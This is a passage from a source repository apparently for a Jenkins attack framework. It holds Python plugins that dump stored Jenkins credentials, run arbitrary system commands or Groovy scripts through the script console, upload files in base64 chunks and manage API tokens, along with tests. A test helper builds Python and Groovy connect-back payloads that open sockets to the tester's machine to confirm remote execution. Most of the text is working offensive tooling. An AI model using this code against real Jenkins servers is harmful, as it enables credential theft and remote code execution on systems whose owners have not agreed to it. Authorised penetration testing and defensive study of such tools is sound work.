) 57 | ) 58 | 59 | except (req_exc.SSLError, req_exc.ConnectionError): 60 | self.logging.fatal( 61 | "Unable to connect to: " 62 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 63 | ) 64 | 65 | except Exception: 66 | self.logging.exception("") 67 | exit(1) 68 | 69 | 70 | class DumpCredsParser: 71 | def cmd_DumpCreds(self): 72 | """Handles parsing of DumpCreds Subcommand arguments""" 73 | 74 | self._create_contextual_parser("DumpCreds", "Dump all Stored Credentials on Jenkins") 75 | self._add_common_arg_parsers() 76 | 77 | self.parser.add_argument( 78 | "-N", 79 | "--node", 80 | metavar="", 81 | help='Node (Slave) to execute against. Executes against "master" if not specified.', 82 | action="store", 83 | dest="node", 84 | required=False, 85 | ) 86 | 87 | args = self.parser.parse_args() 88 | 89 | self._validate_server_url(args) 90 | self._validate_timeout_number(args) 91 | self._validate_output_file(args) 92 | 93 | return self._handle_authentication(args) 94 | -------------------------------------------------------------------------------- /libs/JAF/plugin_DeleteAPIToken.py: -------------------------------------------------------------------------------- 1 | import requests.exceptions as req_exc 2 | 3 | from libs import jenkinslib 4 | 5 | from .BasePlugin import BasePlugin 6 | 7 | 8 | class DeleteAPIToken(BasePlugin): 9 | """Class for managing DeleteAPIToken SubCommand""" 10 | 11 | def __init__(self, args): 12 | super().__init__(args) 13 | 14 | try: 15 | cred = self.args.credentials[0] 16 | server = self._get_jenkins_server(cred) 17 | 18 | if not self.args.token_name: 19 | tokens = server.list_api_tokens(self.args.user_name) 20 | 21 | print("Current API Tokens:") 22 | 23 | for i, token in enumerate(tokens): 24 | print( 25 | "\tToken Name: {0}\n\tCreate Date: {1}\n\tUUID: {2}".format( 26 | token["name"], token["creation_date"], token["uuid"] 27 | ) 28 | ) 29 | if i != len(tokens) - 1: 30 | print("") 31 | 32 | if len(tokens) == 0: 33 | print("\tThere are no API tokens for this user.") 34 | else: 35 | server.delete_api_token(self.args.token_name, self.args.user_name) 36 | 37 | print("Token Deleted Successfully.") 38 | 39 | except jenkinslib.JenkinsException as ex: 40 | if "[403]" in str(ex).split("\n")[0]: 41 | self.logging.fatal( 42 | "%s: Invalid Credentials or unable to access Jenkins server.", 43 | self._get_username(cred), 44 | ) 45 | else: 46 | self.logging.fatal( 47 | "DeleteAPIToken Failed With User: %s For Reason:\n\t%s" 48 | % (self._get_username(cred), str(ex).split("\n")[0]) 49 | ) 50 | 51 | except (req_exc.SSLError, req_exc.ConnectionError): 52 | self.logging.fatal( 53 | "Unable to connect to: " 54 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 55 | ) 56 | 57 | except Exception: 58 | self.logging.exception("") 59 | exit(1) 60 | 61 | 62 | class DeleteAPITokenParser: 63 | def cmd_DeleteAPIToken(self): 64 | """Handles parsing of DeleteAPIToken Subcommand arguments""" 65 | 66 | self._create_contextual_parser("DeleteAPIToken", "Delete an API Token for your user") 67 | self._add_common_arg_parsers() 68 | 69 | self.parser.add_argument( 70 | "-U", 71 | "--user", 72 | metavar="", 73 | help='If provided, will use Jenkins Script Console to delete token for this user. (Requires Admin "/script" permissions)', 74 | action="store", 75 | dest="user_name", 76 | required=False, 77 | ) 78 | 79 | self.parser.add_argument( 80 | metavar="", 81 | help="If not specified, command will return list of tokens for subsequent calls.", 82 | action="store", 83 | dest="token_name", 84 | nargs="?", 85 | ) 86 | 87 | args = self.parser.parse_args() 88 | 89 | self._validate_server_url(args) 90 | 91 | return self._handle_authentication(args) 92 | -------------------------------------------------------------------------------- /libs/JAF/plugin_RunCommand.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | 4 | import requests.exceptions as req_exc 5 | 6 | from libs import jenkinslib, quik 7 | 8 | from .BasePlugin import BasePlugin 9 | 10 | 11 | class RunCommand(BasePlugin): 12 | """Class for managing RunCommand SubCommand""" 13 | 14 | def __init__(self, args): 15 | super().__init__(args) 16 | 17 | loader = quik.FileLoader(os.path.join("data", "groovy")) 18 | cmd_template = loader.load_template("run_command_template.groovy") 19 | 20 | cmd = cmd_template.render( 21 | {"command": self.args.system_command.replace("\\", "\\\\").replace('"', '\\"')} 22 | ) 23 | 24 | try: 25 | cred = self.args.credentials[0] 26 | server = self._get_jenkins_server(cred) 27 | 28 | result = server.execute_script(cmd, not self.args.no_wait, node=self.args.node) 29 | 30 | if result: 31 | result = re.sub(r"[\r\n][\r\n]{2,}", "\n\n", result).strip() 32 | print(result) 33 | 34 | except jenkinslib.JenkinsException as ex: 35 | if "[403]" in str(ex).split("\n")[0]: 36 | self.logging.fatal( 37 | "%s authentication failed or not an admin with script privileges", 38 | self._get_username(cred), 39 | ) 40 | else: 41 | self.logging.fatal( 42 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 43 | % ( 44 | ( 45 | self.server_url.netloc 46 | if len(self.server_url.netloc) > 0 47 | else self.args.server 48 | ), 49 | self._get_username(cred), 50 | str(ex).split("\n")[0], 51 | ) 52 | ) 53 | 54 | except (req_exc.SSLError, req_exc.ConnectionError): 55 | self.logging.fatal( 56 | "Unable to connect to: " 57 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 58 | ) 59 | 60 | except Exception: 61 | self.logging.exception("") 62 | exit(1) 63 | 64 | 65 | class RunCommandParser: 66 | def cmd_RunCommand(self): 67 | """Handles parsing of RunCommand Subcommand arguments""" 68 | 69 | self._create_contextual_parser( 70 | "RunCommand", "Run System Command on Jenkins via Jenkins Console" 71 | ) 72 | self._add_common_arg_parsers() 73 | 74 | self.parser.add_argument( 75 | "-x", 76 | "--no_wait", 77 | help="Do not wait for Output", 78 | action="store_true", 79 | dest="no_wait", 80 | required=False, 81 | ) 82 | 83 | self.parser.add_argument( 84 | "-N", 85 | "--node", 86 | metavar="", 87 | help='Node (Slave) to execute against. Executes against "master" if not specified.', 88 | action="store", 89 | dest="node", 90 | required=False, 91 | ) 92 | 93 | self.parser.add_argument( 94 | metavar="", 95 | help="System Command To Run", 96 | action="store", 97 | dest="system_command", 98 | ) 99 | 100 | args = self.parser.parse_args() 101 | 102 | self._validate_server_url(args) 103 | self._validate_timeout_number(args) 104 | self._validate_output_file(args) 105 | 106 | return self._handle_authentication(args) 107 | -------------------------------------------------------------------------------- /libs/JAF/plugin_RunScript.py: -------------------------------------------------------------------------------- 1 | import requests.exceptions as req_exc 2 | 3 | from libs import jenkinslib 4 | 5 | from .BasePlugin import BasePlugin, HijackStdOut 6 | 7 | 8 | class RunScript(BasePlugin): 9 | """Class for managing RunScript SubCommand""" 10 | 11 | def __init__(self, args): 12 | super().__init__(args) 13 | 14 | try: 15 | cred = self.args.credentials[0] 16 | server = self._get_jenkins_server(cred) 17 | 18 | with open(self.args.script_path) as f: 19 | result = server.execute_script(f.read(), not self.args.no_wait, node=self.args.node) 20 | 21 | if result: 22 | print(result) 23 | 24 | except jenkinslib.JenkinsException as ex: 25 | if "[403]" in str(ex).split("\n")[0]: 26 | self.logging.fatal( 27 | "%s authentication failed or not an admin with script privileges", 28 | self._get_username(cred), 29 | ) 30 | else: 31 | self.logging.fatal( 32 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 33 | % ( 34 | ( 35 | self.server_url.netloc 36 | if len(self.server_url.netloc) > 0 37 | else self.args.server 38 | ), 39 | self._get_username(cred), 40 | str(ex).split("\n")[0], 41 | ) 42 | ) 43 | 44 | except (req_exc.SSLError, req_exc.ConnectionError): 45 | self.logging.fatal( 46 | "Unable to connect to: " 47 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 48 | ) 49 | 50 | except OSError: 51 | self.logging.fatal("Specified Groovy Script does not exist or is not accessible.") 52 | 53 | except Exception: 54 | self.logging.exception("") 55 | exit(1) 56 | 57 | 58 | class RunScriptParser: 59 | def cmd_RunScript(self): 60 | """Handles parsing of RunScript Subcommand arguments""" 61 | 62 | self._create_contextual_parser( 63 | "RunScript", "Run Specified Groovy Script via Jenkins Console" 64 | ) 65 | self._add_common_arg_parsers() 66 | 67 | self.parser.add_argument( 68 | "-x", 69 | "--no_wait", 70 | help="Do not wait for Output", 71 | action="store_true", 72 | dest="no_wait", 73 | required=False, 74 | ) 75 | 76 | self.parser.add_argument( 77 | "-N", 78 | "--node", 79 | metavar="", 80 | help='Node (Slave) to execute against. Executes against "master" if not specified.', 81 | action="store", 82 | dest="node", 83 | required=False, 84 | ) 85 | 86 | self.parser.add_argument( 87 | metavar="", 88 | help="Groovy File Path to Run via Script Console", 89 | action="store", 90 | dest="script_path", 91 | ) 92 | 93 | args = self.parser.parse_args() 94 | 95 | self._validate_server_url(args) 96 | self._validate_timeout_number(args) 97 | self._validate_output_file(args) 98 | 99 | return_data = self._handle_authentication(args) 100 | 101 | if not self._file_accessible(args.script_path): 102 | with HijackStdOut(): 103 | self.parser.print_usage() 104 | print("\nError: Specified Groovy File does not exist or cannot be accessed.") 105 | exit(1) 106 | 107 | return return_data 108 | -------------------------------------------------------------------------------- /tests/helpers.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | import socket 3 | import sys 4 | from http.server import BaseHTTPRequestHandler, HTTPServer 5 | from io import StringIO 6 | 7 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 8 | 9 | from .configuration import ( 10 | server, 11 | user_admin, 12 | user_bad, 13 | user_noaccess, 14 | user_normal, 15 | user_read_job_access, 16 | user_read_no_job_access, 17 | ) 18 | 19 | 20 | class RemoteFeedbackTester: 21 | def __init__(self, port, timeout): 22 | self.port = port 23 | self.timeout = timeout 24 | 25 | def get_ip(self): 26 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 27 | s.connect(("8.8.8.8", 80)) 28 | ip = s.getsockname()[0] 29 | s.close() 30 | return ip 31 | 32 | def get_script(self, job_type): 33 | if job_type == "python": 34 | return "python -c \"import socket; sock = socket.create_connection(('{}', 12345)); sock.sendall(b'Test'); sock.close()\"".format( 35 | self.get_ip() 36 | ) 37 | elif job_type == "groovy": 38 | return "def s = new Socket('{}', 12345); s.close()".format(self.get_ip()) 39 | 40 | def got_connect_back(self): 41 | try: 42 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 43 | sock.settimeout(self.timeout) 44 | sock.bind(("0.0.0.0", self.port)) 45 | sock.listen(1) 46 | connection, client_address = sock.accept() 47 | connection.close() 48 | 49 | return True 50 | except socket.timeout: 51 | return False 52 | 53 | 54 | class HijackOutput: 55 | def __enter__(self): 56 | self.old_stdout = sys.stdout 57 | self.old_stderr = sys.stderr 58 | 59 | sys.stdout = StringIO() 60 | sys.stderr = StringIO() 61 | return self 62 | 63 | def read(self): 64 | if sys.stdout is not sys.stderr: 65 | return sys.stdout.getvalue() + sys.stderr.getvalue() 66 | else: 67 | return sys.stdout.getvalue() 68 | 69 | def __exit__(self, type, value, traceback): 70 | sys.stderr = self.old_stderr 71 | sys.stdout = self.old_stdout 72 | 73 | 74 | class Server(BaseHTTPRequestHandler): 75 | def _set_headers(self): 76 | self.send_response(200) 77 | self.send_header("Content-type", "text/html") 78 | self.end_headers() 79 | 80 | def _html(self, message): 81 | return f"

{message}

".encode("utf8") 82 | 83 | def do_GET(self): 84 | self._set_headers() 85 | self.wfile.write(self._html("hi!")) 86 | 87 | def do_HEAD(self): 88 | self._set_headers() 89 | 90 | def do_POST(self): 91 | self._set_headers() 92 | self.wfile.write(self._html("POST!")) 93 | 94 | def log_message(*args): 95 | # suppress output 96 | pass 97 | 98 | 99 | class DummyWebServer: 100 | def start_webserver(self): 101 | self._server = multiprocessing.Process(target=self._start_webserver) 102 | self._server.start() 103 | 104 | def stop_webserver(self): 105 | self._server.terminate() 106 | 107 | def _start_webserver(self): 108 | with HTTPServer(("127.0.0.1", 59322), Server) as httpd: 109 | httpd.serve_forever() 110 | 111 | def __enter__(self): 112 | self.start_webserver() 113 | return self 114 | 115 | def __exit__(self, type, value, traceback): 116 | self.stop_webserver() 117 | 118 | 119 | class TestFramework: 120 | def basic_test_harness(self, cmdline_args, output_regexs=[], expected_exit_code=0): 121 | sys.argv = cmdline_args 122 | 123 | try: 124 | classes = [BaseCommandLineParser] 125 | 126 | if self.TestParserClass: 127 | classes.append(self.TestParserClass) 128 | 129 | with HijackOutput() as f: 130 | command_line_parser = type("CommandLineParser", tuple(classes), {})() 131 | args = command_line_parser.parse() 132 | 133 | if not self.TestClass: 134 | result = f.read() 135 | for output_regex in output_regexs: 136 | self.assertRegex(result, output_regex) 137 | 138 | if self.TestClass: 139 | with HijackOutput() as f: 140 | self.TestClass(args) 141 | 142 | result = f.read() 143 | for output_regex in output_regexs: 144 | self.assertRegex(result, output_regex) 145 | 146 | except SystemExit as ex: 147 | self.assertEqual(ex.code, expected_exit_code) 148 | -------------------------------------------------------------------------------- /libs/JAF/plugin_UploadFile.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | import requests.exceptions as req_exc 4 | 5 | from libs import jenkinslib 6 | 7 | from .BasePlugin import BasePlugin, HijackStdOut 8 | 9 | 10 | class UploadFile(BasePlugin): 11 | """Class for managing UploadFile SubCommand""" 12 | 13 | def __init__(self, args): 14 | super().__init__(args) 15 | 16 | try: 17 | i = 0 18 | cred = self.args.credentials[0] 19 | server = self._get_jenkins_server(cred) 20 | 21 | with open(self.args.local_file_path, "rb") as f: 22 | fail = False 23 | 24 | while True: 25 | data = f.read(45000) 26 | if not data: 27 | break 28 | 29 | result = server.execute_script( 30 | 'new File("{0}").append("{1}".decodeBase64())'.format( 31 | self.args.remote_file_path.replace("\\", "\\\\"), 32 | base64.b64encode(data).decode("ascii"), 33 | ), 34 | node=self.args.node, 35 | ).strip() 36 | 37 | if len(result) == 0: 38 | i += 1 39 | print("Successfully Uploaded Chunk {0}".format(i)) 40 | else: 41 | fail = True 42 | print("File failed to upload completely. See following error:") 43 | print(result) 44 | break 45 | 46 | if not fail: 47 | print("Successfully uploaded file.") 48 | 49 | except jenkinslib.JenkinsException as ex: 50 | if "[403]" in str(ex).split("\n")[0]: 51 | self.logging.fatal( 52 | "%s authentication failed or no access", self._get_username(cred) 53 | ) 54 | else: 55 | self.logging.fatal( 56 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 57 | % ( 58 | ( 59 | self.server_url.netloc 60 | if len(self.server_url.netloc) > 0 61 | else self.args.server 62 | ), 63 | self._get_username(cred), 64 | str(ex).split("\n")[0], 65 | ) 66 | ) 67 | 68 | except (req_exc.SSLError, req_exc.ConnectionError): 69 | self.logging.fatal( 70 | "Unable to connect to: " 71 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 72 | ) 73 | 74 | except OSError: 75 | self.logging.fatal( 76 | "Error: The specified local file does not exist or is not accessible." 77 | ) 78 | 79 | except Exception: 80 | self.logging.exception("") 81 | 82 | 83 | class UploadFileParser: 84 | def cmd_UploadFile(self): 85 | """Handles parsing of UploadFile Subcommand arguments""" 86 | 87 | self._create_contextual_parser( 88 | "UploadFile", 89 | "Upload file to Jenkins Server via chunked upload through Jenkins Console (slow for large files)", 90 | ) 91 | self._add_common_arg_parsers() 92 | 93 | self.parser.add_argument( 94 | "-N", 95 | "--node", 96 | metavar="", 97 | help='Node (Slave) to execute against. Executes against "master" if not specified.', 98 | action="store", 99 | dest="node", 100 | required=False, 101 | ) 102 | 103 | self.parser.add_argument( 104 | metavar="", 105 | help="Local Path to File to Upload", 106 | action="store", 107 | dest="local_file_path", 108 | ) 109 | 110 | self.parser.add_argument( 111 | metavar="", 112 | help="Remote Full File Path to Upload To. SHOULD NOT ALREADY EXIST! (Upload is appended to existing file)", 113 | action="store", 114 | dest="remote_file_path", 115 | ) 116 | 117 | args = self.parser.parse_args() 118 | 119 | self._validate_server_url(args) 120 | self._validate_timeout_number(args) 121 | self._validate_output_file(args) 122 | 123 | return_data = self._handle_authentication(args) 124 | 125 | if not self._file_accessible(args.local_file_path): 126 | with HijackStdOut(): 127 | self.parser.print_usage() 128 | print("\nError: Specified Upload File does not exist or cannot be accessed.") 129 | exit(1) 130 | 131 | return return_data 132 | -------------------------------------------------------------------------------- /libs/JAF/plugin_WhoAmI.py: -------------------------------------------------------------------------------- 1 | import json 2 | import pprint 3 | import threading 4 | 5 | import requests.exceptions as req_exc 6 | 7 | from libs import jenkinslib 8 | 9 | from .BasePlugin import BasePlugin 10 | 11 | 12 | class WhoAmI(BasePlugin): 13 | """Class for managing WhoAmI SubCommand""" 14 | 15 | def __init__(self, args): 16 | super().__init__(args) 17 | 18 | threads = [] 19 | 20 | self._validate_jenkins_server_accessible() 21 | 22 | thread_number = min(self.args.thread_number, len(self.args.credentials)) 23 | 24 | pp = pprint.PrettyPrinter(indent=4) 25 | 26 | for _ in range(thread_number): 27 | t = threading.Thread(target=self._get_job_whoami_output) 28 | t.start() 29 | threads.append(t) 30 | 31 | for cred in self.args.credentials: 32 | # Necessary to wrap cred in tuple as an anonymous query uses None and None also is used to signal the end of a job 33 | self.jobs_queue.put((cred,)) 34 | 35 | for _ in range(len(self.args.credentials)): 36 | result = self.results_queue.get() 37 | 38 | if result: 39 | if "name" in result and "authorities" in result: 40 | for entitlement in ["anonymous", "authenticated"]: 41 | if entitlement in result and result[entitlement]: 42 | result["authorities"].append(entitlement) 43 | 44 | groups = list(set(result["authorities"])) 45 | groups.sort(key=str.casefold) 46 | 47 | print(result["name"] + ": " + json.dumps(groups)) 48 | else: 49 | data = pp.pformat(result) 50 | data = " " + data[1:][:-1] 51 | 52 | for line in data.replace("\r", "\n").replace("\n\n", "\n").split("\n"): 53 | print(line[4:]) 54 | 55 | for _ in range(thread_number): 56 | self.jobs_queue.put(None) 57 | 58 | for t in threads: 59 | t.join() 60 | 61 | def _get_job_whoami_output(self): 62 | while True: 63 | job = self.jobs_queue.get() 64 | 65 | if job is None: 66 | break 67 | 68 | cred = job[0] 69 | 70 | result = None 71 | 72 | try: 73 | server = self._get_jenkins_server(cred) 74 | if not server.can_read_jenkins(): 75 | result = { 76 | "name": self._get_username(cred), 77 | "authorities": ["Invalid Credentials or unaccessible Jenkins Server."], 78 | } 79 | else: 80 | result = server.get_whoAmI() 81 | except jenkinslib.JenkinsException as ex: 82 | if "[403]" in str(ex).split("\n")[0]: 83 | self.logging.fatal( 84 | "%s authentication failed or not an admin with script privileges", 85 | self._get_username(cred), 86 | ) 87 | else: 88 | self.logging.fatal( 89 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 90 | % ( 91 | ( 92 | self.server_url.netloc 93 | if len(self.server_url.netloc) > 0 94 | else self.args.server 95 | ), 96 | self._get_username(cred), 97 | str(ex).split("\n")[0], 98 | ) 99 | ) 100 | 101 | except (req_exc.SSLError, req_exc.ConnectionError): 102 | self.logging.fatal( 103 | "Unable to connect to: " 104 | + ( 105 | self.server_url.netloc 106 | if len(self.server_url.netloc) > 0 107 | else self.args.server 108 | ) 109 | ) 110 | 111 | except Exception: 112 | self.logging.exception("") 113 | exit(1) 114 | 115 | self.results_queue.put(result) 116 | self.jobs_queue.task_done() 117 | 118 | 119 | class WhoAmIParser: 120 | def cmd_WhoAmI(self): 121 | """Handles parsing of WhoAmI Subcommand arguments""" 122 | 123 | self._create_contextual_parser("WhoAmI", "Get Users Roles and Possibly Domain Groups") 124 | self._add_common_arg_parsers(allows_threading=True, allows_multiple_creds=True) 125 | 126 | args = self.parser.parse_args() 127 | 128 | self._validate_server_url(args) 129 | self._validate_thread_number(args) 130 | self._validate_timeout_number(args) 131 | self._validate_output_file(args) 132 | 133 | return self._handle_authentication(args) 134 | -------------------------------------------------------------------------------- /tests/test_ListJobs.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | 4 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 5 | from libs.JAF.plugin_ListJobs import ListJobs, ListJobsParser 6 | 7 | from .configuration import ( 8 | server, 9 | user_admin, 10 | user_bad, 11 | user_noaccess, 12 | user_normal, 13 | user_read_job_access, 14 | user_read_no_job_access, 15 | ) 16 | from .helpers import DummyWebServer, TestFramework 17 | 18 | 19 | class ListJobsTest(unittest.TestCase, TestFramework): 20 | def setUp(self): 21 | warnings.simplefilter("ignore", ResourceWarning) 22 | self.testcommand = "ListJobs" 23 | self.TestParserClass = ListJobsParser 24 | self.TestClass = ListJobs 25 | 26 | def test_invalid_url(self): 27 | """Make sure that calling with invalid url fails gracefully""" 28 | 29 | self.basic_test_harness( 30 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59321/", "-a", user_bad], 31 | expected_exit_code=1, 32 | ) 33 | 34 | def test_valid_url_bad_protocol(self): 35 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 36 | 37 | with DummyWebServer(): 38 | self.basic_test_harness( 39 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59322/", "-a", user_bad], 40 | expected_exit_code=1, 41 | ) 42 | 43 | def test_valid_url_and_protocol(self): 44 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 45 | 46 | with DummyWebServer(): 47 | self.basic_test_harness( 48 | ["jaf.py", self.testcommand, "-s", "http://127.0.0.1:59322/", "-a", user_bad], 49 | expected_exit_code=1, 50 | ) 51 | 52 | def test_valid_jenkins_invalid_creds(self): 53 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 54 | 55 | self.basic_test_harness( 56 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad], 57 | [r" - Either no access to read jobs or Unable to access Jenkins at: "], 58 | 1, 59 | ) 60 | 61 | def test_valid_jenkins_anonymous_creds(self): 62 | """Make sure that calling with valid jenkins (but no creds)""" 63 | 64 | self.basic_test_harness( 65 | ["jaf.py", self.testcommand, "-s", server], 66 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 67 | 1, 68 | ) 69 | 70 | def test_valid_jenkins_valid_unprivileged_creds(self): 71 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 72 | 73 | self.basic_test_harness( 74 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess], 75 | [r" - Either no access to read jobs or Unable to access Jenkins at: "], 76 | 1, 77 | ) 78 | 79 | def test_valid_jenkins_valid_read_no_job_creds(self): 80 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 81 | 82 | self.basic_test_harness( 83 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_no_job_access], 84 | expected_exit_code=1, 85 | ) 86 | 87 | def test_valid_jenkins_valid_read_job_creds(self): 88 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 89 | 90 | self.basic_test_harness( 91 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_job_access] 92 | ) 93 | 94 | def test_valid_jenkins_valid_normal_creds(self): 95 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 96 | 97 | self.basic_test_harness(["jaf.py", self.testcommand, "-s", server, "-a", user_normal]) 98 | 99 | def test_valid_jenkins_valid_admin_creds(self): 100 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 101 | 102 | self.basic_test_harness(["jaf.py", self.testcommand, "-s", server, "-a", user_admin]) 103 | 104 | 105 | class ListJobsParserTest(unittest.TestCase, TestFramework): 106 | def setUp(self): 107 | self.testcommand = "ListJobs" 108 | self.TestClass = ListJobs 109 | self.TestParserClass = ListJobsParser 110 | 111 | def test_no_args(self): 112 | """Ensure that calling with no arguments results in help output and not an error""" 113 | 114 | self.basic_test_harness( 115 | ["jaf.py", self.testcommand], 116 | [ 117 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 118 | r"Jenkins Attack Framework", 119 | r"positional arguments:", 120 | ], 121 | ) 122 | 123 | 124 | if __name__ == "__main__": 125 | unittest.main() 126 | -------------------------------------------------------------------------------- /libs/JAF/BasePlugin.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import logging 3 | import queue 4 | import sys 5 | from urllib.parse import urlparse 6 | 7 | import requests.exceptions as req_exc 8 | 9 | from libs import jenkinslib 10 | 11 | 12 | def _logging_fatal(msg, *args, **kwargs): 13 | logging.critical(msg, *args, **kwargs) 14 | exit(1) 15 | 16 | 17 | class HijackStdOut: 18 | def __enter__(self): 19 | # Preserve old stdout because we may already have hijacked it 20 | self.old_stdout = sys.stdout 21 | sys.stdout = sys.stderr 22 | 23 | return sys.stdout 24 | 25 | def __exit__(self, _type, value, traceback): 26 | sys.stdout = self.old_stdout 27 | 28 | 29 | class BasePlugin: 30 | """JAF Plugin Base Class""" 31 | 32 | results_queue = queue.Queue() 33 | jobs_queue = queue.Queue() 34 | 35 | def __init__(self, args): 36 | self.args = args 37 | 38 | logging.basicConfig(format="%(asctime)s - %(message)s") 39 | 40 | self.logging = logging.getLogger() 41 | self.logging.fatal = _logging_fatal 42 | 43 | self.server_url = urlparse(self.args.server) 44 | 45 | if args.output_file: 46 | try: 47 | sys.stdout = open(args.output_file, "w") 48 | except Exception: 49 | self.logging.fatal("Specified Output File Path is invalid or inaccessible.") 50 | 51 | def _get_jenkins_server(self, cred): 52 | """Setup initial connection to the jenkins server and handle authentication 53 | 54 | :param cred: Credential dict""" 55 | 56 | try: 57 | if cred: 58 | if "cookie" in cred: 59 | return jenkinslib.Jenkins( 60 | self.args.server, 61 | cookie=cred["cookie"], 62 | crumb=cred["crumb"], 63 | timeout=self.args.timeout, 64 | headers={"User-Agent": self.args.user_agent}, 65 | ) 66 | elif "authheader" in cred: 67 | return jenkinslib.Jenkins( 68 | self.args.server, 69 | authheader="Basic " 70 | + base64.b64encode(cred["authheader"].encode("utf8")).decode("ascii"), 71 | timeout=self.args.timeout, 72 | headers={"User-Agent": self.args.user_agent}, 73 | ) 74 | else: 75 | return jenkinslib.Jenkins( 76 | self.args.server, 77 | username=cred["username"], 78 | password=cred["password"], 79 | timeout=self.args.timeout, 80 | headers={"User-Agent": self.args.user_agent}, 81 | ) 82 | else: 83 | return jenkinslib.Jenkins( 84 | self.args.server, 85 | timeout=self.args.timeout, 86 | headers={"User-Agent": self.args.user_agent}, 87 | ) 88 | except jenkinslib.JenkinsException as ex: 89 | if "[403]" in str(ex).split("\n")[0]: 90 | self.logging.fatal( 91 | "%s authentication failed or no access", self._get_username(cred) 92 | ) 93 | else: 94 | self.logging.fatal( 95 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 96 | % ( 97 | ( 98 | self.server_url.netloc 99 | if len(self.server_url.netloc) > 0 100 | else self.args.server 101 | ), 102 | self._get_username(cred), 103 | str(ex).split("\n")[0], 104 | ) 105 | ) 106 | 107 | except (req_exc.SSLError, req_exc.ConnectionError): 108 | self.logging.fatal( 109 | "Unable to connect to: " 110 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 111 | ) 112 | 113 | except Exception: 114 | self.logging.exception("") 115 | 116 | def _get_username(self, cred): 117 | """Utility function to return the user based on the cred type to display in error messages.""" 118 | 119 | if not cred: 120 | return "Anonymous" 121 | elif "username" in cred: 122 | return cred["username"] 123 | elif "authheader" in cred: 124 | return cred["authheader"].split(":")[0] 125 | elif not cred: 126 | return "Anonymous" 127 | else: 128 | return "Cookie (User Unknown)" 129 | 130 | def _validate_jenkins_server_accessible(self): 131 | """Utility function to return if we appear to have access to the jenkins server or not""" 132 | 133 | # Catch inaccessible server before slamming a bunch of threads at it. 134 | cred = None 135 | server = self._get_jenkins_server(cred) 136 | 137 | if server.basic_access_check() != 500: 138 | return True 139 | else: 140 | return False 141 | -------------------------------------------------------------------------------- /libs/JAF/CustomArgumentParser.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import re 3 | import sys 4 | 5 | 6 | class ArgumentParser(argparse.ArgumentParser): 7 | def parse_args(self, args=None, namespace=None): 8 | """ 9 | Since we handle some positional arguments at the end of our arguments and some at the beginning we need 10 | to do some hackery to make argparse play nicely with optional positional arguments at the end of our 11 | arguments list. This solution is fragile, but sufficient for our needs. What we do, is check to see if 12 | parse_known_args returns any "unknown args". If so, we shuffle arguments so that all the unknown args appear 13 | at the front (after the command arg that should always be first). Then we try again. If we still get an 14 | error, we throw the error just like argparse would, otherwise everything is golden. 15 | """ 16 | 17 | args, argv = self.parse_known_args(args, namespace) 18 | 19 | new_argv = [] 20 | 21 | if argv: 22 | new_argv = [x for x in sys.argv[1:] if x not in argv] 23 | 24 | for i in range(len(argv)): 25 | new_argv.insert(i + 1, argv[i]) 26 | 27 | args, argv = self.parse_known_args(new_argv, namespace) 28 | 29 | if argv: 30 | msg = "unrecognized arguments: %s" 31 | self.error(msg % " ".join(argv)) 32 | 33 | return args 34 | 35 | 36 | class Formatter(argparse.HelpFormatter): 37 | """Argparse Formatter to override usage creation. 38 | Created to force argparse to respect positional order 39 | Also move [-h] option to more expected location""" 40 | 41 | # use defined argument order to display usage 42 | def _format_usage(self, usage, actions, groups, prefix): 43 | """Generates usage string, mostly stolen from argparse source""" 44 | 45 | if prefix is None: 46 | prefix = "usage: " 47 | 48 | # if usage is specified, use that 49 | if usage is not None: 50 | usage = usage % {"prog": self._prog} 51 | 52 | # if no optionals or positionals are available, usage is just prog 53 | elif usage is None and not actions: 54 | usage = "%(prog)s" % {"prog": self._prog} 55 | elif usage is None: 56 | prog = "%(prog)s" % {"prog": self._prog} 57 | 58 | # split optionals from positionals 59 | args = [] 60 | 61 | for action in actions[1:]: 62 | args.append(action) 63 | 64 | args.insert(1, actions[0]) # Move [-h] to after subcommand 65 | 66 | # build full usage string 67 | action_usage = self._format_actions_usage(args, groups) 68 | 69 | usage = " ".join([s for s in [prog, action_usage] if s]) 70 | 71 | # wrap the usage parts if it's too long 72 | text_width = self._width - self._current_indent 73 | if len(prefix) + len(usage) > text_width: 74 | 75 | # break usage into wrappable parts 76 | part_regexp = r"\(.*?\)+(?=\s|$)|" r"\[.*?\]+(?=\s|$)|" r"\S+" 77 | 78 | 